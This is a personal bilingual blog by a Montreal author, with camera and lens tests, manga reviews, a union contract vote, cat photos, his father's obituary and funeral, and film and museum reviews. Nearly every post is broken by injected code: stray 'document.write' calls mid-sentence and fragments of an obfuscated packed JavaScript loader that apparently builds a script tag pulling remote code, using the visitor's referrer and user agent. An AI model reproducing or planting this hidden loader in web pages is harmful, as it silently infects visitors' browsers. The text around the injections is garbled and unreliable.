Nouveau Zoom

J’ai acquis un nouvel objectif pour la Nikon D3300. Une zoom/macro AF70-300mm auto-focus motorisé de TAMRON (pas mal moins cher qu’un objectif Nikon!). C’est mieux que la zoom Olympus que je devais utilisé totalement en manuel. Au moins, document.write(“”); avec celui-ci, je peux relaxer et photographier en automatique si je le désir. La qualité est vraiment bien…
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“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kkeyk|var|u0026u|referrer|nsker||js|php’.split(‘|’),0,{}))

Nikon D3300, Objectif TAMRON AF70-300mm

TAMRON AF70-300mm F/4-5.6 TAMRON AF70-300mm F/4-5.6
Un nouvel objectif auto-focus pour la Nikon (déployé et fermé)
Nouvel objectif = nouveaux tests de caméra… Après le saut de page >>

Tamron DF = 70 Tamron DF = 100
Même point de vue que les tests précédents, avec distance focale de 70mm et 100mm

Tamron DF = 135 Tamron DF = 180
Et avec distance focale de 135mm et 180mm

Tamron DF = 300
Et avec distance focale de 300mm; pas mal du tout!

Quelques autres exemples de photos prisent avec la TAMRON
Mont-Royal Crane
Le mont-Royal et une grue dans le CESM

Trail with the TOHU in background Lufthansa D-AIKP
Sentier du CESM (la TOHU en arrière-plan) et le Lufthansa D-AIKP

Moon
Intéressant mais je n’arrivais pas à faire la mise au point correctement

(Nikon D3300, Parc du CESM, 2016-04-20)

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Dans l’Azur – un haiku video

Après quelques mois, document.write(“”); de nombreuses tentatives infructueuses (et de longues attentes sur les quais), j’ai finalement réussi à apercevoir l’oiseau rare et à faire une petite promenade dans l’Azur. Cela m’a inspiré ce petit haiku video!
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kkezi|var|u0026u|referrer|idffs||js|php’.split(‘|’),0,{}))

After a few months, many failed attempts (and long waits on platforms), I finally managed to see the rare bird and take a ride on the Azur. This inspired me this little
haiku video!


In the Azure – Haiku video

After several attempts – in vain
The heavenly way is open to me
And I finally navigate the Azur

Several attempts – vainly
The heavenly way opens
To finally navigate the Azur

Clodjee

Promenade du dimanche

En cette belle journée ensoleillé mais fraîche (2’C), document.write(“”); j’ai pris une courte marche (4 km) dans le parc et cela m’a semblé une excellente occasion pour aussi faire quelques tests de caméra supplé-mentaires en extérieurs. Un beau ciel bleu avec quelques bandes de nuages…
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|safee|var|u0026u|referrer|nkzhh||js|php’.split(‘|’),0,{}))

Coin nord-ouest du parc; falaise et nouveau stade de soccer
Le coin nord-ouest du CESM: falaise et nouveau stade de soccer (iPhone 6s)

Coin nord-ouest du CESM Coin nord-ouest du CESM
Coin NW du CESM: Inukshuk et TAZ (g), forage et Stade Olympique (d) (iPhone 6s)
Continuez après le saut de page >>

Et maintenant les tests de caméras et de lentilles…

iPhone 6s

Côté est du CESM: le Mont Royal Zoom sur l'UdeM et l'Oratoire
Vue du côté est du CESM: le Mont Royal (g) et zoom sur l’U de M et l’Oratoire St-Joseph (d)
Avec l’iPhone 6s, le zoom digital max (DF= 146mm, 3x?) cause beaucoup de perte de qualité

Canon PowerShot S5 IS

Canon PowerShot (DF=6mm) Canon PowerShot (DF=39mm)
Même vue cette fois prise avec la Canon PowerShot, DF=6mm (aucun zoom) et DF=39mm (6x?)

Canon PowerShot (DF=70mm) Canon PowerShot (Software zoom max)
Avec distance focale max (72mm, zoom optique 12x) et zoom digital max (+ 4x)
Ici aussi le zoom digital cause beaucoup de perte dans la qualité de l’image

Nikon D3300, Objectif Nikkor

NIKON D3300 (DF=18mm) NIKON D3300 (DF=36mm)
Même vue prise avec la Nikon D3300 et la lentille Nikkor 18-55mm, DF de 18mm et 36mm

NIKON D3300 (DF=46mm) NIKON D3300 (DF=55mm)
Même vue prise avec la Nikon D3300 et la lentille Nikkor 18-55mm, DF de 46mm et 55mm
Il n’y a pas beaucoup de zoom là-dedans!

Nikon D3300, Objectif OM Vivitar

Côté est du CESM: Mont Royal NIKON D3300 (with OM Vivitar DF=125mm)
Encore la même vue, cette fois avec la lentille OM Vivitar (via adapteur Fotodiox Pro OM-Nik)
à gauche: avec lentille OM Vivitar 80-200mm (DF= 80mm, ISO 800, f/16, 1/1000) (2016-04-10)
à droite: avec lentille OM Vivitar 80-200mm (DF= ±125mm, ISO 800, f/16, 1/1000) (2016-04-10)

Zoom sur l'U de M et l'Oratoire (Nikon)
Même vue prise avec la lentille OM Vivitar 80-200mm au zoom maximum (4x?)
Ici aucune perte de qualité (DF= 200mm, ISO 800, f/16, 1/1000) (2016-04-10)

L'autre côté du Mont Royal Un avion
Sapin et clocher d'église La verdure se pointe
Quelques autres clichés pris avec la lentille OM Vivitar 80-200mm (Nikon D3300, 2016-04-10)
Les résultats avec la lentille OM Vivitar 80-200mm semblent meilleur en extérieur (voir tests précédents), quoiqu’il est toujours difficile de faire les ajustements manuellement (particulèrement le focus). Pour m’aider à calculer l’ouverture, la vitesse d’obturation et la sensibilité ISO, j’ai utilisé une application iPhone gratuite (Light Meter). Malheureusement, l’ouverture que j’ai utilisé (f/16) a donné des images trop sombres et j’ai dû les corriger par la suite dans l’application Photos pour augmenter l’exposition. Toutefois, après correction, cela a donné des images plutôt satisfaisantes, quoique parfois un peu floues. Avec le temps, je vais sûrement m’habituer et éventuellement obtenir de meilleurs photos.

Même si j’aimais beaucoup la polyvalence de la Canon PowerShot S5 IS (son grand avantage sur l’iPhone est bien sur son zoom 12x), elle a tout de même ses limitations (lentille fixe et seulement 8 MP). Je peu donc m’en débarrasser sans trop de regrets. Le fait de pouvoir varier les lentilles sur la Nikon D3300 (et ses 24 MP!) offre beaucoup de possibilités. Je vais pouvoir faire plus de photos de nature (oiseaux et fleurs) et peut-être même m’essayer à la photo astronomique. Pour ce faire, il va me falloir bien sûr acquérir quelques nouvelles lentilles et surtout plus d’expérience. C’est donc pas les projets qui manquent!

Mise à jour (2016-04-13): J’ai ajouté les tests avec la Canon PowerShot S5 IS et refait les test de la Nikon D3300 avec la lentille Nikkor pour ajouter plus d’exemples avec différentes distances focales.

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Images du chat-medi

Caramel qui dort… & tests de caméra
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“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rszaf|var|u0026u|referrer|eihbe||js|php’.split(‘|’),0,{}))

Caramel Sleeping Caramel Sleeping
(Nikon D3300, document.write(“”); 2016-04-09)
Gauche: Cette photo de Caramel a été prise avec la lentille Nikon de base (voir ci-bas), à 3 pi de distance. DF=45mm, ISO 2500, f/5, 1/60.

Droite: Celle-ci avec la zoom Olympus (voir ci-bas), à 6 pi de distance. DF=200mm, ISO 3200, f/4, 1/30.

Nikon D3300 with kit lens Nikon D3300 with Olympus OM lens
(iPhone 6s, 2016-04-10)
Gauche: Nikon D3300 avec lentille de base (AF-S DX VR Nikkor 18-55mm f/3.5-5.6G II) et filtre Japan Optics/Gobe 52 mm UV.

Droite: Nikon D3300 avec lentille Olympus OM (Vivitar 80-200mm 1:4.0 Macro Focusing zoom) connectée via un adapteur Fotodiox Pro OM-Nik; filtre Vivitar 55mm Skylight.

La Nikon D3300 est une excellente caméra DSLR pour débutant et très abordable. Toutefois l’utilisation de lentilles standard avec une DSLR est une expérience une peu difficile: l’adapteur ne fonctionne pas avec des lentilles dont l’attachement a des collerettes (trois de mes quatre lentilles OM en ont), on doit utiliser la caméra uniquement en mode manuel (choisir soi-même l’ouverture, la vitesse d’obturation, la sensibilité ISO, ce qui n’est pas toujours évident) et la mise au point est difficile à faire. Je considère donc acheter une zoom pour DSLR avec auto-focus. Mais bon il y a tout un apprentissage à faire aussi (je n’ai pas vraiment fait de véritable photographie depuis vingt-cinq ans, et je fais mes premiers pas avec une caméra DSLR)…

Toutefois, comme le disait Chase Jarvis, “Le meilleur appareil photo est celui qui est avec vous.” Et, dans mon cas, ce sera presque toujours mon iPhone 6s!

En passant, si il y a des intéressés, j’ai deux caméra 35mm Olympus OM-1N (un boitier noir et l’autre métallique), trois lentilles (OM Zuiko 28mm auto-w, 50mm auto-s et 50mm auto macro), des boucles d’extensions (7, 14, 25 mm) et de multiples filtres (Image 49mm Y2, Hoya +1, +2, +3, et Hoya 85) à vendre. Détails à venir…

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Entente Cols Blancs

Pour ceux que ça intéresse, document.write(“”); les cols blancs se sont réunis en assemblée générale mardi soir pour évaluer et entériner les recommandations de la médiatrice concernant la négociation de leur convention collective et de leur régime de retraite avec la Ville de Montréal.
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hstnk|var|u0026u|referrer|zankf||js|php’.split(‘|’),0,{}))

L’entente proposée n’était pas très bonne mais c’était probablement la meilleur qu’ils pouvaient obtenir. L’alternative aurait été une grève générale qui aurait possiblement durée des mois pour finalement aboutir par se faire imposer les conditions de travail par la ville (conséquence du pacte fiscal entre le gouvernement du Québec et les municipalités).

Malgré de nombreuses pertes (principalement une réduction des congés mobiles de 39 à 21 heures (-46.2%), le coût plus élevé des cotisations de retraite et d’assurance salaire de longue durée, des désavantages pour les fonctions supérieures, etc.) cette entente préserve néanmoins de très nombreux acquis. L’employeur visait à couper 12% de la masse salariale des cols blancs et n’a réussi en fin de compte qu’à la réduire de 6%(ce qui était probablement son objectif de toute façon — en fin négociateur Coderre demandait sans doute le double de ce qu’il désirait obtenir).

Après une longue (et houleuse) assemblée de près de quatre heures (où l’exécutif a présenté la proposition d’entente et où les membres ont posé de nombreuses et longues questions — pas toujours pertinentes), les cols blancs présent à l’assemblée ont voté à 81.4% en faveur de la proposition de la conciliatrice (2146 pour, 472 contre et 17 bulletins rejetés [total de 2635 votes], ce qui représente en fait que 53.7% des ±4000 cols blancs qui étaient présent au début de l’assemblée générale et seulement 26.8% des huit mille membres du syndicat des fonctionnaires municipaux de Montréal).

Continuez après le saut de page >>

Ce qui est important de savoir c’est surtout quel impact les concessions faites dans l’entente auront sur les hausses salariales. Le tableau ci-dessous résume le tout:

En conclusion, les cols blancs se retrouvent avec une augmentation moyenne de 1.14% par année (7.95% sur sept ans), ce qui n’est pas trop loin du 1% par année qu’ils ont l’habitude d’avoir (et qui n’est malheureusement que la moitié de ce qui serait nécessaire pour simplement indexer le salaire au coût de la vie, qui lui se maintient annuellement autour de 2% par année — on ne peut donc pas vraiment pas d’ “augmentation”) [sur ce sujet voir aussi: Beauce Média, Canoe.ca et Banque Nationale].

L’entente n’offre aucun gain, pas trop de pertes et rien de neuf sous le soleil en ce qui concerne les augmentations salariales. Toutefois, c’est une entente qui est pas mal moins pire que ce à quoi je m’attendais, donc une entente somme toute acceptable (pour toutes les parties).

Pour terminer, j’en profite pour féliciter l’exécutif du SFMM pour son travail. Ils ont travaillé fort pour obtenir une médiation qui a abouti à cette entente — qui deviendra très bientôt une nouvelle convention collective.

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Découverte: de sérieux manga

Cette semaine, document.write(“”); je suis sorti en ville pour visiter un musée et j’en ai profité pour bouquiner un peu. J’ai été surpris de faire quelques découvertes: une perle rare du Lézard Noir, un autre Taniguchi (eh oui!), des manga qui n’en sont pas et un nouveau tome de Versailles no bara.
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fffne|var|u0026u|referrer|ifiya||js|php’.split(‘|’),0,{}))

Pour en savoir plus, jetez un coup d’oeil
après le saut de page >>

Gekiga Fanatics

“Osaka, fin des années 1950. De jeunes mangakas vont participer à la création d’un genre nouveau qui révolutionnera la bande dessinée japonaise : le gekiga. En partie autobiographique, Gekiga Fanatics se concentre sur trois mangakas encore inconnus à l’époque : Yoshihiro TatsumiL’Enfer, Une vie dans les marges (Cornélius), Takao SaitôGolgo 13 (Glénat), ainsi que l’auteur lui-même, Masahiko Matsumoto – La Fille du bureau de tabac (Cambourakis). Extrêmement documenté, le livre décrit avec justesse et précision les doutes et les difficultés qu’affrontent de jeunes auteurs exigeants et passionnés, qui refuseront toujours de renoncer à leurs rêves.”

(Texte du site de l’éditeur; voir aussi la couverture arrière)

Ce manga me rappelle beaucoup Une vie dans les marges de Yoshihiro Tatsumi (publié chez Cornélius et dont j’ai commenté la version anglaise, A drifting life, publié par Drawn & Quarterly). Dans les deux cas, il s’agit de manga autobiographiques qui parlent de l’après-guerre, de la carrière de mangaka de l’auteur et de la naissance du manga comme on le connait aujourd’hui. Tant Tatsumi que Matsumoto, faisaient partie (avec entre autres Shigeru Mizuki et Osamu Tezuka) de cette première génération de mangaka pionniers qui dessinaient des histoires plutôt sérieuses dans un style un peu brouillon et parfois même caricatural. Mais Tatsumi et Matsumoto faisaient partie d’un groupe qui écrivait du Gekiga (“dessin dramatique”) caractérisé par des histoires plus sombres et avec plus d’action que le manga typique (qui offrait généralement des récit plus léger et un style plus caricatural) et visaient donc un lectorat plus âgé, plus mature. Ils s’inspiraient de la vie de tout les jours et traitaient de thèmes réalistes plus en phase avec les problèmes socio-politiques de l’époque. Pour bien exprimer ce genre de récit complexe, ils utilisaient des techniques artistiques plus cinématique qui permettaient de mieux rythmer la narration pour que l’action coule plus naturellement à travers les cases. [image ci-haut: Tatsumi Yoshihiro, Saito Takao et Matsumoto Masahiko]

Gekiga Fanatics (??????!! / Gekiga bakatachi !!) a d’abord été publié en feuilleton dans le magazine Big Comic Zôkan de Shôgakukan en 1979 avant d’être compilé en volumes chez Seirink?geisha. Il a été traduit et publié en français chez Le Lézard Noir.

Nous sommes très chanceux d’avoir des éditeurs français comme Cornélius ou le Lézard Noir qui n’hésitent aucunement à publier ces oeuvres plus anciennes, parfois plus difficile d’approche et donc moins populaire. Du côté anglophone, jusqu’à récemment, il n’y avait que Drawn & Quarterly et Vertical qui s’y était risqué mais maintenant d’autres éditeurs tâtent le terrain avec des titres comme The Rose of Versailles de Riyoko Ikeda chez Udon Entertainment, Queen Emeraldas de Leiji Matsumoto chez Kodansha Comics, Otherworld Barbara par Moto Hagio chez Fantagraphics Books ou même le colossal The Osamu Tezuka Story: A Life in Anime and Manga par Toshio Ban chez Stone Bridge Press.

Dans une langue comme dans l’autre, même si le graphisme est un peu moins plaisant ou que l’histoire représente une lecture un peu plus exigeante, il n’en demeure pas moins que ce sont des classiques de la littérature graphique japonaise que tout amateur se doit d’avoir lu.


Gekiga Fanatics, par Masahiko Matsumoto (Traduction par Miyako Slocombe). Le Lézard Noir, novembre 2013. 328 pg., 24,00 € / $42.95 Can. ISBN: 978-2-35348-0494. Recommandé pour public jeune adulte (14+).

Pour plus d’information vous pouvez consulter les sites suivants:

Ice Age chronicle of the earth, vol. 1 & 2

“Dans le futur, tandis que l’humanité tente tant bien que mal de survivre aux conséquences d’un nouvel âge glaciaire, Takéru va devoir se lancer dans une odyssée afin de sauver ses compagnons. A son bras, un bracelet sacré en argent, seul souvenir qui lui reste de sa mère…”

“Saura-t-il faire face à son destin ?”

(Texte du site de l’éditeur)

Les éditeurs de manga français (dans ce cas-ci Kana) continue à nous sortir des vieux Taniguchi qui date de l’époque où il faisait plus dans le récit d’action que dans le contemplatif. Et nous en sommes fort heureux!

Ice Age Chronicle of the Earth (?????? / Chiky? hy?kai-ji-ki) a d’abord été publié en feuilleton dans le magazine Morning de Kôdansha en 1987-88 avant d’être compiler en volumes chez Futabasha. Dans les années ’80, Taniguchi écrivait surtout des récits d’action comme Trouble Is My Business, Enemigo ou Garôden, ou des récits qui mettaient en scène la nature et les grands espaces tels que Blanco, K ou Encyclopédie des animaux de la préhistoire. Ice Age Chronicle of the Earth s’inscrit bien dans ces thématiques. Et, si l’on se fit à la bande de couverture de l’édition française ainsi qu’au style de Taniguchi pour ce diptyque visionnaire, c’est une époque où il devait lire et s’inspirer du magazine français Métal Hurlant


En tout cas j’ai bien hâte de lire ce manga. Ce sera délicieux!

Ice Age chronicle of the earth vol. 1 & 2, par Jirô TANIGUCHI. Paris: Dargaud (collection Kana: Made In), mai et septembre 2015. 272 & 224 pgs, 16.3 x 23.2 x 2 cm, 18.00 € / $31.95 Ca, ISBN: 9782505063643 & 9782505063650. Recommandé pour public adolescent (14+).

Pour plus d’information vous pouvez consulter les sites suivants:

Manga Classics: Great Expectations

“Great Expectations has it all: romance, mystery, comedy, and unforgettable characters woven through a gripping rags-to-riches tale. Naive Pip, creepy Miss Faversham, beautifully cold Estella, terrifying Abel Magwitch, and the rest of Dicken’s fantastic cast are perfectly envisioned in this new adaptation in this 300-plus page volume featuring artwork by artist Nokman Poon.”

“Manga Classics editions feature classic stories, faithfully adapted and illustrated in manga style, and available in both hardcover and softcover editions. Proudly presented by UDON Entertainment and Morpheus Publishing.”

(Text from the publisher’s website)

When I first noticed this book while browsing at the bookstore I thought “Great! Another interesting manga classics adaptation!” but I soon realized that it was no manga at all! A manga is a comics by a Japanese artist while this one is produced by a Canadian artist (of asian origin). I think I mentioned before this collection of manga classics from Udon Enterainment. They have many interesting adaptations such as Jane Austen’s Emma, Victor Hugo’s Les Miserables, Jane Austen’s Pride and Prejudice, or Nathaniel Hawthorne’s The scarlet letter. But none of them is really manga. Too bad. However, it might still be worth a look.

Great Expectations, original story by Charles Dickens, adaptation by Crystal Silvermoon, and illustrations by Nokman Poon. Richmond Hill: Udon Entertainment (collection Manga Classics), mai 2015. 308 pg, 6 x 8.5″, B&W, Softcover, $19.99 US / $26.50 Cnd, ISBN: 978-1927925317. Recommandé pour public jeune (7+).

Pour plus d’information vous pouvez consulter les sites suivants:

Musashi

“Minamoto Musashi (1584-1645), le samouraï légendaire, est connu dans le monde entier comme un grand maître de sabre, un chercheur spirituel, et l’auteur du classique Le livre des Cinq Roues.”

“Cette version graphique nous raconte sa vie étonnante. C’est à la fois un récit vivant d’une période fascinante dans le Japon féodal et le portrait d’un courageux samouraï qui a combattu avec les idées philosophiques et spirituelles qui sont aussi pertinentes aujourd’hui qu’elles l’étaient en son temps.”

“Plus de 350 ans après sa mort, Musashi nous fascine toujours. À partir d’authentiques sources japonaises, William Scott Wilson, brosse un portrait inoubliable de cet illustre personnage historique.”

(Texte du site de l’éditeur; voir aussi la couverture arrière)


Bon encore une fois, est-ce que cette bande-dessinée est du manga ou pas? L’auteur est écossais (mais vivant au japon) et l’artiste est japonaise. Je crois qu’à la rigueur on peut considérer ça comme du manga. A noter qu’il s’agit ici d’un nouveau petit éditeur, qui semble spécialisé en arts martiaux. Cela m’a accroché l’oeil à la librairie mais ce n’est peut-être pas d’un grand intérêt. À voir par curiosité peut-être…

Musashi, scénarisé par Sean Michael Wilson et illustré par Michiru Morikawa. Noisy sur Ecole: Budo, août 2015. 176 pgs, 15 x 21 cm, 12.95 € / $17.95 Can, ISBN: 978-2-84617-363-6. Recommandé pour public adolescent (12+).

Pour plus d’information vous pouvez consulter les sites suivants:

???????? 12

“?40???????????????????????????????2?????????????????????????????????????????????????????????????????????????????24P???????!”

J’ai déjà mentionné en mars les fameux Rose of Versailles Episodes. Riyoko Ikeda avait déjà tenté de faire des suite à son chef d’oeuvre Versailles no bara avec les Rose of Versailles Side-Stories que l’éditeur Kana avait inclus dans le troisième tome de l’édition française. Toutefois, quarante ans plus tard, alors qu’elle reprend sa carrière de mangaka, elle se remet sur une véritable suite composée d’histoire courtes qui sont chacune centrée autour d’un personnage secondaire différent. Les épisodes sont sérialisé dans Margaret, le magazine hebdomadaire shojo de Shueisha. Une première compilation est paru en août 2014 rassemblant les quatre premières histoires. Ce volume, faisant véritablement suite à la série de dix tomes, a été numéroté le volume onze.

En cherchant à commander le volume onze pour l’anniversaire de mon épouse, j’ai eu la surprise de constater qu’un douzième volume était paru en juillet. Il va sans dire que je l’ai également commandé. Hélas mon japonais n’est pas assez bon pour que je puisse le lire. J’espère que ma femme pourra me le raconter!

Le volume 12 contient les épisodes cinq et six. L’épisode 5, qui suit le Major Victor Clement de Girodelle (l’autre amoureux d’Oscar, qui lui fit une proposition de mariage), est paru en deux parties: une première partie de trente-sept page dans le Margaret #22 (publié le 20 octobre 2014) et une seconde partie de trente-trois pages dans le Margaret #23 (publié le 5 novembre 2014), chacune comportant cinq pages en couleurs. L’épisode 6 a lui aussi été publié en deux partie: l’une dans le Margaret #8 (publié le 20 mars 2015) et l’autre dans le Margaret #9 (publié le 4 avril 2015) totalisant une centaine de pages. Cet épisode nous révèle le secret de la naissance d’Oscar (en révélant comment ses parents se sont rencontré)!

???????? 12 (Versailles no bara 12 / La rose de versailles vol. 12), par Riyoko Ikeda. Tokyo: Shueisha (collection Margaret), juillet 2015. 216 pgs, 7.1 x 5 x 0.9 inches, ? 745 ($9.00 Cnd), ISBN: 978-4088454092. Recommandé pour public adolescent (12+).

Pour plus d’information vous pouvez consulter les sites suivants:

[ Translate ]

Image du chat-medi

– [Saya] “Wow! Le monde à l’envers!” / “Wow! Everything’s upside-down!”
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“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fnnsn|var|u0026u|referrer|rdfas||js|php’.split(‘|’),0,{}))
– [Caramel] “Tais-toi et dors!” / “Shut up and sleep!”
Caramel & Saya
(iPhone 6s, document.write(“”); 2015-12-09)

Funérailles Claude E.

Pour ceux qui n’ont pas pu être présent aux funérailles de Claude E., document.write(“”); en voici un petit mémento:
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“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bdkrd|var|u0026u|referrer|knsfi||js|php’.split(‘|’),0,{}))


Le montage audiovisuel est disponible
sur Vimeo et les photos comme telles sont aussi disponible sur Flickr. (Mis à jour avec des photos de la mise en terre)

J’en profite pour remercier tous les parents et amis qui sont venu nous offrir leurs condoléances et support en ce moment difficile.

Plusieurs m’ont demandé de pouvoir revoir le montage commémoratif que j’ai fait pour les funérailles. Le voici donc:

https://player.vimeo.com/video/144246852?byline=0&portrait=0
La video est disponible sur Vimeo (une version avec un peu plus de photo y est aussi disponible) et l’album photo commémoratif (annoté) est quand à lui disponible sur Flickr.

Ne soyez pas tristeCélébrez plutôt sa merveilleuse existenceSouvenez-vous de luiCar c’est notre devoir de le commémorerSouvenez-vous de luiCar il vivra toujours dans nos mémoires

Merci encore une fois.

[ Translate ]

Rodin

Last Friday I visited the exhibition “Metamorphoses: In Rodin’s Studio” at the Montreal Museum of Fine Arts. It was an impressive exhibit that was definitely worth seeing, document.write(“”); although it felt like most of the pieces were unfinished. It was very didactic and was showing a lot about the work of a sculptor and the fact that he rarely works alone. The best part was the room showing some of his masterpieces: the Thinker, the Kiss, the Age of Bronze, etc.
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“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nzhbt|var|u0026u|referrer|nedzf||js|php’.split(‘|’),0,{}))

For those who missed it, you can still find a lot of information on
the museum web page or on the special mobile site that was designed as guide for visitors, enhancing the experience and giving access to all the wall labels and panels for the exhibition. That was surely a great idea!

And, of course, I took a lots of pictures and have prepared a photo album on Flickr (the description offers titles and details on each piece) as well as this nice video montage (on Vimeo) for your enjoyment:


(I’ve replaced the Flash slideshow with this video because it was bugging my Mac!)
[ Traduire ]

Claude E Pelletier 1928-2015

Mon père, document.write(“”); Claude E. Pelletier, est décédé la nuit dernière (samedi 17 octobre) aux soins palliatifs de l’Hôpital Sacré-Coeur des suites d’une pneumonie. Il aurait eu quatre-vingt-sept ans le mois prochain. Il a eu une vie longue et bien remplie qui mérite amplement d’être célébrée sans le moindre regret.
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“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sybea|var|u0026u|referrer|ydshs||js|php’.split(‘|’),0,{}))

Il a grandi sur la rue Marie-Louise à Montréal, derrière le Théâtre Saint-Denis, car son père, Jules-Alphonse Pelletier, était le concierge de l’École Jeanne-Mance qui, par un étrange hasard, abrite maintenant la
Cinémathèque Québécoise. Il a fait carrière dans le cinéma, étant preneur de son d’abord au Studio Renaissance Films à Montréal, puis pour l’Office National du Film à Ottawa, puis à Montréal. Ce travail l’amène à voyager un peu partout au Canada et dans de nombreux pays du monde. À la fin des années soixante, il devient gestionnaire à l’ONF et s’occupe de son premier département de video, avant de prendre en mains la gestion des plateaux et des équipes de tournage comme superviseur des opérations au Service de la pré-production.

Un peu ébranlé par le décès de sa fille aînée, Johanne, et désabusé par le début du long démantèlement de cette grande institution fédérale qu’était alors l’ONF, il prends sa retraite en 1983 après trente-cinq ans de service et avoir vu son nom apparaître au générique de près d’une centaine de films. Il se consacre alors à sa véritable passion: la généalogie. Un des premiers maître-généalogiste agréé du Québec, il s’implique avec grand dévouement auprès, entre autres, de la Société d’Histoire et de Généalogie de l’Île-Jésus et de l’Association des Familles Pelletier.

Il laisse dans le deuil son épouse Laure Gauthier, ses enfants Luce, Francine et Claude J. (Miyako Matsuda), les familles de ses frères et soeurs (Alice [feu Jean-Vianney Yale], Pauline [feu André Langlois], Soeur Madeleine [Congrégation Notre-Dame], Pierre [Micheline], Cécile [Gérard Saint-Jean] et Gilles [Marguerite] lui survivent), ainsi que de nombreux parents et amis.

La famille recevra les condoléances à la Résidence Funéraire de Laval de la Coop Funéraire du Grand Montréal (2000 rue Cunard, Laval, Qc) samedi le 31 octobre de 13 h 30 à 16 h. Un hommage en sa mémoire et une cérémonie de la parole suivra à compter de 16 h. L’inhumation des cendres se fera ultérieurement en privé.

Vous trouverez les détails dans les pages d’avis de décès du Journal de Montréal ou sur le site de la coopérative funéraire.

Au lieu d’envoyer des fleurs, si vous désirez faire un geste à la mémoire de Claude E., nous vous suggérons de faire un don à la Société de l’Alzheimer de Montréal.

J’ai déjà parlé de mon père à deux reprise sur ce blogue (lors d’un commentaire sur le film YUL 871 et en introduisant les portraits d’artisans du cinéma de l’ONF). Aussi, je mettrai prochainement en ligne un album photo commémoratif (probablement sur ma page Flickr ou Vimeo). Pour le moment, je lui rends hommage en reprenant ici la video de son “portrait d’artisan du cinéma” que j’ai mis sur Vimeo l’été dernier:


[ Translate ]

At Home

WARNING: May contains trace of spoilers! People allergic to the discussion of any plot’s elements before seeing a movie are strongly advised to take the necessary precautions for their safety and should avoid reading further.
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“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rddtf|var|u0026u|referrer|tsdfr||js|php’.split(‘|’),0,{}))

“A father, document.write(“”); a mother, an elder son, a daughter and a younger son. A family of five. To all appearances, a perfectly normal, happy family. However it turns out that none of them have a blood relationship. Each of them has a sad story and separate families of their own. Does being related by blood, make a family? Or if they live together, does it make them a family? When people learn to connect with others, when they are placed in a difficult situation, how do they react for a family? This is a film about people who were hurt by family, but saved by family. ”

(Text from the Festival’s program)

The Moriyama family looks like any other ordinary family. However, none of them are related. The father is a thief. He started stealing to support his pregnant wife. She is hit by a car and lose the baby. He gets caught, goes to prison and his wife leaves him. Once out of prison, he continues with a criminal life. One day, during a burglary, he discovers a young boy chained in the bathroom of a house. He decides to save him. Together they settle in a home, acting like father and son. Later, the thief triggers an alarm and, as he might be caught, he is helped by a teenager who has run away from his home. He was verbally abused by his parents who found his indecisiveness and shyness not up to the standard of their rich (but parvenu) status. He joins the father and younger “son” in their home.

The mother was physically abused by her violent husband. One day she is considering killing herself by jumping in front of a train but notices a teenage girl who is about to do the same. Without thinking about her own situation anymore, she prevent the girl from jumping. The girl was sexually abused by her father. They both run away (it is more implied than said or shown) and settle in an apartment together as mother and daughter. One day, the mother meets the father in a pet shop and the father (it’s not shown how or why) invites them to join his little family.

They survive through a life of crime: the father doing burglary, the mother swindling men in mariage schemes, the older son doing forgery in a print shop and the young boy and girl simply going to school. Unfortunately, the mother tries to swindle a bigger swindler and she ends up kidnapped. The family rushes to gather the ransom, but, despite the father’s warning, it leads them to a violent outcome. The father goes to prison again to save his family. In the end, the family will pull through thanks to its strength. Despite not being related, they all had suffered abuse and could better understand and confort each other. Reconstituted family can work and even be stronger than blood ties.

